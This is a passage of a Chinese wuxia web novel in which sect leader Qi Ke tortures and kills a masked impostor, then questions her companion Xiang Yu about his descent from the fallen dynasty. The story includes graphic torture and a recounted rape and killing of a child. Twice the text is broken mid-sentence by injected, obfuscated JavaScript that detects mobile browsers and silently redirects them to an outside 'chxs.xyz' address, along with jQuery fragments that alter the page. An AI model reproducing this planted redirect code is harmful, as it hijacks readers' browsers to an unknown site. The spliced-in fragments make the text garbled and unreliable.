“可少……公子……是!”林蓉眼底闪过一丝不甘,但不敢顶撞向玉,接过钱,轻功如飞,一眨便没了踪影。
“我去把这儿毁了。”向玉回头对上齐珂的视线,她的眼睛仍然通红,但情绪已经平和不少,两只深邃的眼睛,犹如深不见底的寒潭,透着一股子冷冽的寒意,向玉瑟缩往后退了两步:“珂珂,你等等我……我马上……立刻……”
齐珂将怀里的谢明抱得更紧,冷冷望着他,目光森然:“到百花阁前,你最好能想出一个让我信服的理由。”
“你给我机会?”向玉瞬间顿住脚步,不可思议地看向她。
“我是相信自己的判断,但我要解释!”
向玉顿了顿,低头沉默片刻,沉声道:“好!”
…………
牡丹地下城,绝命万音阵。万音阵止息的前一秒,撕心裂肺的呼喊声重重击向齐珂的耳膜。
“阿姐!!!”
“阿瑜!”齐珂回喊出那个名字,心神震颤,万音阵止,向玉拽紧齐珂想要以最快的速度向前飞掠出去,谁知掌心中握着的那只手突然使劲挣脱开,齐珂脚下一转,竟然朝着最里侧的石屋狂奔过去。
“珂珂!”向玉心急如焚,万音阵每三罗刹一息,一息只有刹那,如果没法冲出去,内力即使再强,也抵不住音浪一波接一波,一波胜一波的攻势。
“咚!咚!咚!”厮杀声,刀剑相碰声,软兵器鞭笞声再次交杂着响起,攻势比方才强上数倍,真气自丹田涌出,他想再支起一个巨大的气罩,将自己和齐珂全部笼进去,但手中力气一泄,他整个身子随之抖了抖,额上沁出一层冷汗。
差点忘了,十五月圆,他的内力消耗得厉害,不知还能撑多久,他勉力再支起一个红色的气罩,捂住胸口喘息,可齐珂的身影却越来越远,更令他心惊的是,她居然根本就没有支起气罩保护自己,红色的身影在高低错落的石屋间飞窜,饶是她的轻功再好,躲过一波拦腰斩来的音浪,却难抵丝毫不给人喘息机会的第二波!
齐珂被击倒在地,口中咳出血来,却仍然没有停下,翻身再次悬空而起。
“珂珂!!!”向玉额上留下几颗汗珠,心一横,大吼一声,气沉丹田,腾空而起,双臂高举,顶起那个越来越小的气罩朝她狂奔而来。
“珂珂,快进……”
话音未落,前方的石屋里忽然传出一声凄厉的惨叫,齐珂的血月宛如一条腾飞的冰蓝色巨龙,以雷霆之势击穿石屋墙壁,龙吟啸天,血月几近绷直,那条冰蓝色的巨龙将周遭的所有声音都吞噬殆尽,暗无天日的地下城只剩下让人不寒而栗的龙吟。
齐珂身子扭转,猛地使力,血月拽着一个手握长笛的人破开四分五裂的石壁重重跌出来,长笛破碎,里面两只扭曲的身子的黑色长虫,一触到地上,腾作两股黑烟,消失不见。
“咳咳!咳咳咳!”那人带着鬼面,脖子处被血月勒得血流不止,但齐珂控制着没有划开他的动脉,只是他喉咙中发出可怖的血泡翻涌的声音,痛苦地蜷缩在地上,两条腿上下抽动。
那人的腰间别着一把紫色长剑,剑尖三瓣成花。
齐珂长鞭的一端拿在手上,另一端绕着鬼面人的脖子:“用我云清宫的东西来杀我,你是嫌自己命长吗?”
“哈哈……”地上的人挣扎着,喘着粗气开口:“杀人为次,意在攻心。”
齐珂眯起眼睛,忽然她腰间香囊里的剑灵灵力大涨,耀眼夺目的光芒透过香囊喷射出来,香囊上下跳动,想要挣脱她腰带上的锁扣冲那人过去。
“就你?”齐珂的眼神不可置信地在香囊和地上的人身上游移,右手用力,血月离开他的脖子,复又甩过去,面具应声而裂,面具下是一张布满了刀疤的脸,伤口崎岖,令人作呕。
向玉看到那张脸,脸色沉下来,眼底愠色渐浓,他捂着胸口挺直腰,待喘息平稳走到齐珂身边。
齐珂神色阴寒,如同玉面修罗,看着在地上呛咳抽搐的人,眼神中满是嘲讽:“那个老东西不是说这两把仿剑的剑主是当年魔教的玄武坛坛主边鹤扬?我看过他的画像,剑眉星目,当年也算得上是远近闻名的美男子,就算花了脸,断不该长你这般怂样!”
针对美男子的话题,向玉头一回没有出声为自己拉上一票,他只是死死盯着那个人,眼神从他的发顶游移到他眼脸裂小狭短的眼睛,再到他唇峰偏厚,嘴唇向中间聚拢的月牙唇,向玉眼中的厉色越来越浓,瞳孔微缩,满是疯狂的杀机。
那人听到齐珂的话,不答反问,眼底是嗜血的笑意:“齐宫主,怎么样?十五年了,再次听到自己妹妹的声音,有没有很怀念?”
齐珂眯起眼,地上的人又喷出两口鲜血,用尽力气仰头看向齐珂,唇边绽出夺目的血花,那张阴森可怖的鬼脸笑得愈发得意开心:“我原本还以为她死之后,你悲愧交集,今日幼妹寻魂,你会为了赎罪跟着一起去,却没想到啊……哈哈哈!你一点都没变!这么多年了,你果然还是那个心狠手辣,寡廉鲜耻的刽子手!”
“闭嘴!”齐珂没有出声,向玉阴侧侧的声音不带一丝温度地打断他,那人却还是不尽兴,紧紧盯着齐珂,带血的笑容在那张伤痕遍布的脸上竟然还有几分妖治:“江湖怕是鲜有人知,大名鼎鼎的云清宫宫主,亲手害死了自己的妹妹,齐珂,你怎么还有脸面苟活于世?哈哈哈,所谓名门正派……啊!!!”
他痛极惨呼,齐珂的血月拦下向玉甩愤而甩出的无名,长鞭摆尾狠狠抽在那人的身上,她蹲下身,血月缠住他的身子把他拉坐起来,被迫和齐珂四目相对,她神色紧绷,目若寒冰:“我最讨厌别人评判当年之事,呵!更何况……”
她鄙夷地看向他腰间那把剑尖三瓣成花的紫色长剑,嘴角满是嘲讽“你这么喜欢搜集假货?干将莫邪是假,这把迷蝶剑也是假,当年真正的迷蝶剑剑主有七,尚且有四个命丧我手,你算个狗屁剑主,当年之事的真相,又知道几何?!你有什么资格在我面前提阿瑜?!!”
她眼中凶光暴起,手中寒光闪烁,短刃飞舞,手起刀落,那人惨叫声还没有出口,手脚筋脉皆被挑断,向玉也被她吓了一跳,齐珂眼中血红,笑容偏执疯狂:“十五年前,三月初七,玄武坛余孽为报边鹤扬身死之仇,在阿瑜生辰当日,集结余党攻上云清宫,焚我宫宇,杀我宫人,轮/番/糟/蹋我妹妹,见她抵死反抗,挑断她手脚筋脉,割掉她的舌头,她活生生被你们折磨致死!!
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803051|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她才七岁,才七岁啊!!”
“珂珂……”
“我知道,哈哈,哈哈!”齐珂仰面笑道,忽然猛地低头,一张美丽至极却表情狰狞可怖的脸几乎贴到那个人眼前,伸手钳制住他的下颚,短刀抵住他的舌头:“我知道你们都是冒牌货,从一开始就知道!什么冥王生死帖,什么九龙打垒,什么长生不老药,什么万灵丝,你们都不是当年真正的魔教玄武坛!没有人比我,比我们齐家更了解他们!!但是没关系,既然假借玄武之名,那他们欠下的血债,你们也躲不掉!!管他真假,都得死!!”
她掰开那人的嘴巴,一把短刃一下一下缓缓划过他的舌头,四周寂静,刀/剌/过肉的声音显得尤其恐怖,那人呜呜呜地挣扎着,但齐珂力气很大,他根本挣不开桎梏。
向玉的心脏像被一只大手攥住,闷闷的疼痛感传来。
“啪嗒!”舌头落地,齐珂拿着血淋淋的短刃缓缓起身,眼中的疯狂没有散去,看向他身上的紫色长剑,香囊中剑灵呜咽,那两块被抠下来的玉石冲破香囊的束缚,于空中光芒大绽,空气中传来剑啸,两柄长剑从府衙的方向疾弛而来。
齐珂脸色扭曲,忽然笑起来,笑声凄凉:“仿剑?哈哈哈!齐沛啊齐沛,论畜生,你这个做母亲的,可比我这个做姐姐的更甚!”
“呜呜呜!”被割/掉/舌头的人血淋淋地趴在地上,四肢筋脉被挑断,只有右手中指还能够微微活动,他挣扎着还想在地上留下血书,突然头顶的光线一暗,他用尽最后的力气抬头,逆光站着的男人身着粉衣,飞鸾翔凤,俊秀悦人,他从未见过这样漂亮的男人,美得如同谪仙,像是画中一笑百媚的九天仙女……不!他的身子猛地一抖,他见过!
“小山重叠金明灭,鬓云欲度香腮雪……”他的脑海里闪过父亲房中挂着的那幅美人图,画中仙……正是眼前人!不,不会!面前的人看上去不过二十出头,他的身子猛地一颤,不可置信地瞪大双眼,但再也说不出话来,只能呜呜呜地吐着血泡。
向玉手握无名居高临下地看他,半晌,才幽幽道:“神凶本非一物,岂可混为一谈?”
齐珂听到这话,渐渐平息,红着眼转头看向他。
刀光闪过,那人双眼猛地睁大,脖子上的鲜血滋洒出来,染红了石壁,再无气息。
四目相对,两人的眼中都笼罩着一层暗色,那抹暗,似乎比终日不得阳光,暗无天日的地下城还有深长。
“可惜可惜,要救的人没救到,出手前也忘记再向他讨线索,我的错。”向玉收回手上的无名,走到齐珂身边,齐珂的眼底涌动着辨不分明的意味,向玉犹豫了一会儿,还是伸手包住她紧握的拳头,轻轻拍着,安抚她的心绪,齐珂的身体紧绷,静静打量着他,一言不发。
向玉的手有些湿热,和之前的几次不同,甚至和刚才在万音阵中握住她时的温度都不同,他的手一直都是凉凉的,带着雪中春信的淡淡梅香,但现在指尖有些冷,掌心温度却出奇得高。向玉微微蹙眉,面色却如常,忽然,他唇边勾起一抹熟悉的笑意:
“哎呀,珂珂~我还从没见过你像刚才那般凶狠过呢,十六宫中最年轻的一宫之主,果然厉害!!只是,人死了,线索断了,早知道就不出手那么干脆了!咱们要不再去府衙看看?”
齐珂低头看向握住自己的那只手,眼神晦涩不明,突然低低笑了笑,出声道:“还有必要吗?你的人,不是已经去过了?”
向玉一顿,笑容却不减:“珂珂你在说什么呀,是不是被他气傻了,你别听他瞎叨叨,都说人之将死,其言也善,可坏人本坏,到死,狗嘴里都吐不出象牙……珂……珂珂!冷静!冷静啊!”
他缩住脖子,下意识后撤,垂眼,闪着寒光的短刃压在他脖下一寸,但锋利的短刀这次却没有直接碰到他的皮肤,而是隔着两层衣衫,齐珂抬眼,眼中不带一丝感情:“我说过,从一开始我就知道,一切都是假的。”
“你不信我?”向玉静静看着她,收起一贯插科打诨吊儿郎当的模样。
“我如何信你?”
“珂珂……”向玉抿了抿嘴唇,睫羽轻眨,他定了定神,知道齐珂如此说,心中定然已有定论,再多解释也是枉然,他叹了口气,轻声道:“一路行来,我没有害你。”
“我知道。”
“我不是坏人。”向玉继续道。
“或许。”
“我实为向家传人。”
这一次,齐珂没有说话,她只是长久地看着向玉的眼睛,他眼中的那片黑雾散去,如今那双好看至极的桃花眼一片清明,他说得诚挚,望着那双眼睛,齐珂觉得自己内心有一个声音在奔涌:“相信他!齐珂,相信他!”
相信?呵,齐珂闭了闭眼,这世上,她只相信她的人,向玉不是她的人,何来信任?
她仍然举着刀压在他的脖子下方,不想再继续这个话题,声音冷冷道:“让林蓉带着她找到的东西过来!”
13. 魔教血脉,前朝骨血,向家后人^……
雨将至,风未定,马蹄急踏,一行人驾马车向百花阁疾驰,向玉路上雇了一个识路的车夫驾车,自己回到马车中。
君莫未醒,齐珂喂谢明服下安魂丹暂缓疼痛,他额上一片冷汗,虚虚地靠在软垫上,眼睛微阖,不知是梦是醒,看见向玉进来,齐珂从密函上抬起头。
玄策纸,金缕印,这封密函所用的材料和印章与冥王生死帖一样。这两样东西金贵却不难得,金陵中最有名的纸坊澄心堂可得玄策纸,一刀25张,百金一刀。
金缕印用的是黄玉髓雕刻,最开始为魔教第一任教主,大梁末代皇帝明庆帝的私印,印章材质选用的是黄玉髓中的金水菩提,不过是当年李劲成攻入皇城,明庆帝慌忙逃窜之时顺手带走的自己诸多印章中的一个,最后却成了魔教发布冥王生死帖的金印。
据祖母说,明庆帝吴承潇当年是惊才风逸,学贯中西的风流才子,有吞凤之才,笔落惊风雨,所作佳作极多,编有《潇湘诗集》,收录诗作一百零八篇,在当年传颂甚广。他不仅喜欢写诗,还喜欢盖章,传闻李劲成入主长信宫后,推开密室大门,金玉满堂,晃得眼睛都睁不开,再定睛一看——乖乖,满屋的印章!
这就更加说明,金缕印有何深意?并无!要是当年吴承潇带走的是白玉飞雪印,或是象牙福寿印,那令人胆寒的冥王生死帖上按着的索命章就又是别物了。不过得亏是这金缕印,想想,要是一枚福寿印,上面刻着福禄安康,送给接帖人,嘿!先礼后兵,给您送上祝福,然后让您尸骨无存。魔教这一出还真有点儿黑色幽默的味道。
齐珂手上的密函是林蓉在地下城府衙找到的,钉在府衙内室暗房的墙壁上,内页是一张地图,贯穿南北,从苍茫大漠起,到烟雨水乡止,三明六暗:
远容山云清宫,皇都太师府,牡丹城霁华楼,三处为明。
大漠碧水城,落霞村百花阁,昆山红叶山庄,碧波岛云策山庄,壶口瀑布凡客山谷,姑苏淮中坞,六处为暗。
但其中凡客山谷与霁华楼以线相连。
齐珂皱眉看向不省人事的君莫:难不成,这坑货真是李家后人?
这份密函所指,很明显是当年八杰所在,只是六十年间,八杰离散,或死或伤,是否有后,写这封密函的人也不甚清楚。
亮起的三处,除了霁华楼君莫和齐珂,另一位,就是当年第二杰云承允之孙,当朝太子太傅,云之恒。
马车外黑云翻滚,狂风大作,车帘被吹起,卷进来几丝冰凉的雨水,下雨了?
向玉带着一身水汽进来,正好对上齐珂看过来的眼神,他抿了抿嘴,拂去袍子上的雨水,粉色的长袍上绣着牡丹,沾上水珠,更显得娇艳欲滴,但雍容华贵的牡丹在这苦雨凄风下,委实有些格格不入。
他在齐珂对面坐下,轻轻呼出一口气,唇色苍白。
“想好说辞了?”齐珂把密函卷起来放到一边,向玉微垂着头,听到声音抬眼,眼神中有一瞬的迷茫,随后摇了摇头:“怕不是你愿听的。”
“我愿听的,只是一句实话。”齐珂丢给他一个水囊:“润润喉吧,这车上已经倒下两个,你若再出事,我即刻踢你下车,决不回头。”
向玉接过水囊,低头微微一笑,笑意淡若清风:“那齐娘子便多给在下一些时间罢。真话有毒,实话伤人,在下总得写一篇缠绵蕴藉的赋论,再徐徐道来,才不至于伤了你我感情。”
“齐娘子?你称呼改得倒快!”齐珂哼了一声,双手抱臂,长眉挑起,向玉摩挲着手上的水囊没有说话,他的脸色很不好看,比昨日在地下城时苍白了不少,两弯眉毛似蹙非蹙,半倚在车壁上,配上这样一张惊世绝伦的脸,我见犹怜。
“你慢慢想,离到百花阁还有些时辰,不如先听我讲个故事?”
车窗外的秋风裹挟着雨点吹进来,齐珂拉紧车帘,给身旁的谢明掖好薄毯。向玉抬眼看过来,长长的睫羽好似蝶翅染上霜花:“是山野异事,还是才子佳人风流故事?”
“野史趣闻。”齐珂随手把靠在身后的毯子丢给他:“据说六十年前明庆帝吴承潇逃往万寿山时,除了侍卫近臣,还带走了后宫里的两个妃子,庄妃胡氏,宁贵人孙氏。”
向玉拉起毯子盖到身上,看上去神色如常,但眉心轻跳,他静静回视齐珂,听她继续说道:“听说这位庄妃娘娘,曾艳冠六宫获明庆帝独宠。明庆帝效仿汉武帝,锦树围香,花灯夺昼,金屋藏娇,为她修建了一座金碧辉煌的长生宫,一度想立她为后,却屡遭朝臣劝诫,你可知为何?”
“庄妃恃宠而骄,纵欲无德?”
“非也。庄妃德才兼备,温良娴舒,德泽天下,实有中宫之德。只因她出身江湖,非书香世家高门贵女,因而那帮文臣武将纷纷上书,说她出身低微,实不配母仪天下。明庆帝不允,执意为之,便有钦天监监正上言,彗星袭月,此乃亡国灭君之象,而彗星列南,指的就是长生宫。意思可不就是庄妃娘娘是红颜祸水,祸国妖妃吗?果不其然,册封圣旨刚颁不过一月,封后大典还未行,大梁便亡国了。”
齐珂静静地观察着向玉的表情,后者面上若无其事,眸中却是冷意翩飞,冷哼一声道:“大梁亡国是因明庆帝痴迷寻求长生不老之法,怠于朝政,荒淫无度,民不聊生,这才有义士举旗,可齐娘子的野史里竟要将亡国之罪推到一个女人身上吗?在下向来偏心女子,实不能苟同。”
“是啊,五千年史册,有多少女人血泪。不过这到底是野史,你若听不惯,日后再编撰一版就是,先听我把故事说完。”
她喝了一口水,继续道:“后来承德二年,这位庄妃在万寿山生下一女,此时正为老一代八杰攻山的最后时刻,七天七夜激战,魔教覆灭,吴承潇和孙氏身死,可庄妃娘娘和她刚出生的女儿却不知所踪。若这个小女婴未死,那他就是前朝皇帝还留存在世的最后血脉。”
向玉神色愈冷,齐珂轻笑一声继续说道:“江湖众派誓要将人找出,但哪怕谢家出手,最后也是无功而返。可是三十五年后,有一位倾国倾城的娘子挺着大肚子往红叶山庄问卦,昆山林家家主林温年却算得惊天一卦——前朝骨血,人龙交杂,白虹贯日,魔头降世!
“前朝骨血……那个问卦的女子,就是当年庄妃生下的女婴,前朝最后一位公主。而那一卦算出当天,向家祖传名刀鸿鸣自封于昆仑之巅,再未出鞘。林伯父也因为算出的这一卦命格太重,他命轻压不起,不多时便也故去了。”
“你想说什么?”向玉手指蜷缩,攥紧身上的薄毯,眉眼深深,透出两分狠戾,是齐珂从未见过的严肃。齐珂轻笑,探身上前,凝视着他这张风华绝代的俏脸,手指轻抚上他的眉骨,划过他高挺的鼻梁,扫过向玉被水沁湿的双唇,向玉没有躲开,只是蹙眉垂眸,滚烫的呼吸洒在他的手指上,齐珂细细描摹他的轮廓,轻声道:
“小山重叠金明灭,鬓云欲度香腮雪……我见过你这张脸,在云清宫的密室,那是祖母最珍惜的一幅熟绢丹青,上面的女子就是你这幅模样。她说,那是胡家姑娘,是她未出远容山闯荡前,最好的朋友。”
“齐娘子……”
她抚上他的脸:“我不知你母亲生得是何种样貌,但你与你的祖母当真一模一样。可你不是向家人,我们齐家与向家二十一年前才突然断了联系,在此之前,并未听说,向伯父有娶妻或是有一儿半女。”
向玉有些痛苦地闭上眼,睫毛轻颤,像是原本已经长好血肉的伤口被人重新划开,鲜血淋漓,他的身子微微颤抖,额头滚烫,缓缓睁开眼,自嘲地笑了笑:“原来齐娘子从见我第一眼起便将我认出来了,在娘子面前这些时日,我反倒像是一个粉墨登场的丑角儿。”
“少来,哪有你这样好看的丑角。”齐珂“啪”得在他的脸上轻拍了一巴掌,直起腰懒懒靠回车壁上,双手抱臂看他,唇角勾起一抹轻笑:“无论你的生父是谁,你实为前朝皇室血脉,魔教教主骨血,说吧,为何来中原?是想反魏复梁呢?还是想振兴魔教?你倒是好打算,拉上我做垫背。”
她的语气中几分玩味,几分调笑,轻描淡写两句“反魏复梁,振兴魔教”,好像在她眼中根本算不上什么大事,向玉静静看着她,唇角蓦然绽出一抹笑:
“若是反魏复梁,你当如何?”
齐珂做了一个请的手势:“慢走不送。”
“你不拦?”
“陛下死不死关我屁事?云清宫在万丈之巅,只要不打到我云清宫的头上,我半点不想管。更何况,朝代更迭是顺应天下之势,势为民心,也轮不到我来管。”
“那我若想振兴魔教呢?”
“那便等阿明毒解,你我一决生死。我要报十五年前玄武坛杀我宫人姊妹之仇,拿你开刀,不过分吧。”
向玉失笑:“我就不能有第三条路走了?江湖中人,本就重心中之道,轻血脉传承,我走何路,行何道,与我是谁的后代并无多大关系。”
“这话我爱听。”齐珂翘着的脚微微晃动,言语间颇为调侃:“不过林伯父向来算无遗策,你是魔头降世,不走些惊天地泣鬼神的路子,难不成真打算做一辈子风流浪子,跟只欲求不满的白孔雀似的四处开屏吗?如此,怎对得起你的命格?”
向玉定定地看着她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|11803062|125765||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,一言不发。车厢外风雨声渐息,齐珂掀开车帘一角:“万花阁快到了,我的故事讲完了,你呢,那篇缠绵蕴藉的赋论,写好了没有?”
“你将我的故事抢了,还讲得那样好,我还能说什么?”向玉沉默片刻,忽然叹出一口浊气:“齐娘子,我不是魔头,亦无鸿鹄之志,惊世抱负,我来中原,只是为了替家母报仇。”
“寻何人报仇?”
“医派四凶。”
齐珂微微一怔:“魔教医派饕餮,混沌,穷奇梼杌?”
“没错。”天色渐晚,向玉的脸上泛起淡淡的潮红,他掩唇轻咳两声:“家母与他们纠葛颇深,其中故事,就算说上三天三夜也难讲清楚,只一句,此仇不共戴天,我一定要报,不死不休。咳!咳咳!”
“魔教医派……当年决战,医派并未参战,祖母说是因为魔教中真正害人性命的是毒派,以活人试药,炼制长生不老药,都为毒派四神兽所为,他们才是吴承潇真正的爪牙,而医派,多为当年前朝旧臣,虽知吴承潇所行有违天命,有背人道,却因愚忠誓死追随,也一并上了万寿山,毒医分家后,他们大多进了医派。医派四大护法虽以凶兽起名,却也不是十恶不赦的大恶人,故而才没有将他们一网打尽。”
“哼!花开生两面,人生佛魔间,是非时相伴,善恶总难辩。一念成魔,一念成佛,是善是恶,哪里说得清楚。”
“也是。”齐珂点头表示赞同:“就好比人人都说我云清宫是名门正派,我作为宫主,定是惩恶扬善的侠义之士,但我自己知道,我不是什么好人。”
“你是。”向玉说得很笃定。
“那是你不了解我。”齐珂挑眉笑笑:“怪不得。”她揉了揉因为久坐而僵直的腰:“你来中原就寻上我,你以为我是八杰后人,闻魔教重出之事,定不会作壁上观,有我这么一个长得漂亮又能打的人相助左右,你报仇指日可待,可是如此?”
向玉轻抬眉头,刚想说话,被齐珂抢断:“但你方才也说了,江湖中人,本就重心中之道,轻血脉传承,我虽是八杰后人,但我行我道,不会因为我是谁的后人而改变。我齐珂没什么大志向,只想守住云清宫,管家里事,疼家里人,其余人如何,自有那些声名赫赫,古道热肠的大侠去管,此次若不是因为宫中有变,宫人遭迫,我也不会下山走这一遭。”
“各大门派投奔远容山,还不是因为放眼江湖,能达梵云天境者寥寥无几,我恰好是其中之一,又恰好是他们所谓的正派掌门,故而认为就算为了武林侠义,我也定会收留他们,护他们无虞。可谁又规定,武功境界高者就一定要做济世大侠?我齐珂心窄,盛不下天下苍生,只放得下我小小的一座云清宫。”
她笑着踢了一脚向玉:“所以啊,日后寻魔教之路,我不会陪你走。”她把身侧的密函丢给他:“上面画的是老一代八杰旧址,你寻旁人吧。”
“可云清宫与玄武坛有仇。”
“是啊~”齐珂理所当然地点头:“仇我要报,但我这人懒得很,回了云清宫,等他们主动再来寻我吧。不管真假,下一次,一定让他们有来无回!”
向玉闻言,长久不语,忽然他的脸色舒缓开来,轻轻挑了下眉尾,眉眼间尽是春色不及的风情,他忽然笑开了,微微挺直身子,薄毯从他的身上滑落,向玉拢了拢头发,将发间的蝴蝶发簪叉得紧了些,满面笑意,复又换上从前的称呼:
“珂珂,你同我说这些,可是不再对我有防,相信我了?”
“我只是觉得,你不是什么好人,却不是坏人,你我路不通,之后也不会再有交集了,同你说这些无妨,至于相信你……一个冒充向家后人的骗子,有什么值得我信的?”
“是吗?”向玉抬手运气,舒缓筋络,车厢外传来车夫叩击木板的声音:“向公子,向夫人,前方再过十里便是落霞村,只是有巨石挡路,马车难行啊!”
“向……夫人?”齐珂眉毛拧紧,话还没问完,向玉已经从座上起身,粉色的广袖长袍翻飞,轻轻抚过她的脸庞,带来一阵雪中春信的淡梅香,齐珂刚想发作,反手要打,却只捉到向玉一片柔滑的衣角,粉色的衣角从她的指尖划过,衣服的主人已经化作一片云彩飘出车厢,车外,带着笑意的男声朗朗:
“谁说我不是向家后人?珂珂,看好了!”
忽然,马匹嘶鸣,地动山摇,窗外尘土飞扬,她稳住车内昏睡着的两人,掀开帘子往外看去,车前不远处,一座座比人高的巨石飞速轮转,烟尘飞腾,天地间一片混沌沙色,唯有向玉那抹耀眼的粉在黄沙中灵活飞窜,这是——
金轮巨石阵!!
14. 八杰之二:顾燕之灾
当年魔教覆灭,向茗然离开中原前,除了云家外,给其余六家各留一道镇门法阵。
云清宫为千机阵,红叶山庄为周天星斗阵,凡客山谷为酒幕碧莲阵,云策山庄为九宫八卦阵,淮中坞为千落水阵,而落霞村百花阁则是金轮巨石阵,只是无论何种阵法,都需要门派掌门以掌门印开启。
江湖有言,八杰最后一杰,百花阁阁主顾问无后,百花阁废弃多年,可今日,巨石阵拦路,齐珂感觉心鼓咚咚作响,牡丹城外那个黑衣鬼面人,会是他吗?
“阿伯!”齐珂掀开帘子,驾车的车夫被漫天沙砾迷了眼睛,方才只感觉耳边一阵带着梅花香气的寒风拂过,身后的马车一轻,遮天蔽日的碎石黄沙将原本阴暗的天空完全遮蔽,幼年时可怕的记忆一下子袭上心头,他吓得紧紧靠在车厢上瑟瑟发抖,本能想要跑,但腿上就像灌了千金铁似的,根本动弹不得。
肩膀被人拍了两下,他猛地一个机灵,身子一歪摔下马车,跌跌撞撞踉跄着往车后跑“救命啊!是土太岁!是土太岁!!”
“什么土太岁,是我!”齐珂探出身子揪着他的衣领把人拉近车厢。巨石阵中翻飞的粉色身影不见,按照他的速度,只要不死,大概率已经进入阵心了。
“发烧还逞能!破了巨石阵就能证明自己是向家后人了?”齐珂再看了一眼不远处还在飞速移动的石块,嘴里嘀咕一句,猛地放下帘子,风沙呛鼻,才一小会儿功夫,躺在车厢里的两人身上已经盖了一层薄薄的沙子。
“咳咳!!咳咳!!!”车夫掐着脖子大口呼吸,土黄色的脸上流下两道浑浊的泪痕。
“洗洗眼!”齐珂把水囊丢过去,又用水浸湿帕子给谢明擦脸,谢明虽然昏睡着,但身子大抵还很痛,哪怕齐珂放轻了力道,帕子只要挨上他的皮肤,都能惹得他一阵颤栗。
车夫好不容易将眼里的沙子洗干净,刚勉强睁开眼,听齐珂问道:“阿伯可熟悉落霞村?”
他揉揉眼睛,面前的年轻女子一袭红衣,英气的高马尾里混编着几根缠着彩线的麻花辫,耳环单边挂,正毫不避讳地直勾勾盯着他。
他忍不住咽了口唾沫,实不怪他红脸,这样美的女子他平生第一次见,既不以轻纱覆面,又不用团扇遮掩,就这样坦坦荡荡地看着他,是个男人都会心跳加速。
齐珂的眼里有了一丝不耐,却仍耐着心子再问道:“阿伯?阿伯熟悉落霞村吗?”
“熟悉熟悉!”车夫回过神:“我家就住在落霞村旁的秋水港,平日拉货送人,都得过落霞村的。我妹子妹夫也住落霞村,平日常过去吃饭的!”他倒了点水抹脸,继续道:“我昨日刚往北送货,今日回来,这不就正好碰上向公子和夫人了吗?”说到这儿,他这才察觉到车了少了一个人:“向公子呢?”
“变成花蝴蝶飞走了。”齐珂笑笑:“既然熟悉,正好,向您打听点事儿,这些石头,往日可有?”
“没有没有!”提到这个,车夫脸色一下子紧张起来,连连摆手:“不知道今天中了什么邪了,碰上土太岁!夫人,听我一句劝,咱们赶紧走吧,等土太岁走了再回来,土太岁吃人,要是闯进去,连骨头都不剩啦!”说罢,他就要去驾车,可帘子刚掀开,狂风裹挟着沙土迎面打进来,他咕噜朝后一倒:“完了完了,这下怎么办?土太岁发大威,走不了了!我们都要死在这儿了!”
说着他居然嚎啕大哭起来,双手愤愤拍着大腿,仰面哀嚎:“我这是造了什么孽啊,接了这一单子,要白白把命搭进去了,我上有老下有小,我要是走了,他们怎么办!老天爷啊!你行行好吧!”
“行了!有我在,且死不了呢!”齐珂见他要撞上谢明,赶紧把人提溜起来:“土太岁?你们管这玩意叫土太岁?”
“可不是?”车夫把鼻涕眼泪囫囵抹了一把,抽噎着说道:“二十三年前,土太岁就发过一次威,我在秋水港都瞧见了,咱们这儿平时山绿水绿的,哪里有这么多黄沙呀,夫人你不知道——”
耳边是狂风撞击车厢发出的隆隆声响,他的声音都在颤抖:“那次土太岁发威整整两日,等太岁去了,村里胆子大的男人去看,满地都是尸/体啊,庄稼地全都被染成血红色,一脚踩上去,土里的血咕咕往外冒,可吓人了!自那次之后,庄稼三年不长,眼看着就要饿殍遍野,都说是土太岁发怒降灾呢!”
他说着,身子也配合着止不住地发抖:“不过幸好有顾老阁主在,自掏腰包买了粮食布匹给乡亲们救难,落霞村才不至于成荒野鬼村!”
齐珂眯起眼睛没有说话。镇门阵法启动,必有大事发生,二十三年前……
若说大事——姑苏淮中坞八杰第七位,燕家遭灭门,满门无一活口。凶手行凶所用功法,江湖之人从未见过。
当年此事一出,武林震动,原以为是魔教余孽卷土重来,可诸门派防了许久,都不见凶手再有动作,虽对名门陨落叹息不已,但灾难没临到自己头上,不过几月,这事也就不了了之。
当时齐珂的祖母齐晗虽已至暮年,闻讯仍赶往姑苏,于金陵城外一处破庙落脚休整,正好碰上了刚从南面回来的顾问,那之后,齐晗没有再往姑苏去,而是直接打道回府,但那次回来后,她功力消耗大半,虽性命无忧,但一身功法也几近废了。
齐珂对此一直有疑问,祖母当年虽是将将踏入梵云天境,但若想让她的功力损失大半,也必得有一场生死肉搏。可当年,江湖上并未传金陵附近有什么顶尖高手的对弈。
那便还有一种可能,她用了云清宫禁术:长命寿线。
以自己的命渡旁人的命,只是对于当年之事,祖母不愿多言,这些也不过是齐珂自己的猜测,如果她真的用了“长命寿线”,那渡的是谁的命?
想到竹林里遇见的那个人:一直穿云箭,千军万马来相见。
这是燕家功法……若真是如此,一切便说得通了:二十三年前燕家遭灭门,燕家有后,垂死之际被顾老前辈所救,于金陵城外破庙遇到祖母,顾老前辈功力不深,是以祖母以“长命寿线”救那孩子性命,随后他被顾问带回落霞村百花阁。
灭门之人无意得知其下落,追杀至此,顾家不得已启动金轮巨石阵阻挡。
但那孩子若还在,为何不承顾老前辈衣钵,继任百花阁阁主呢?黑衣鬼面,这样的打扮,难道如今是魔教中人?可玄武坛是假的啊……
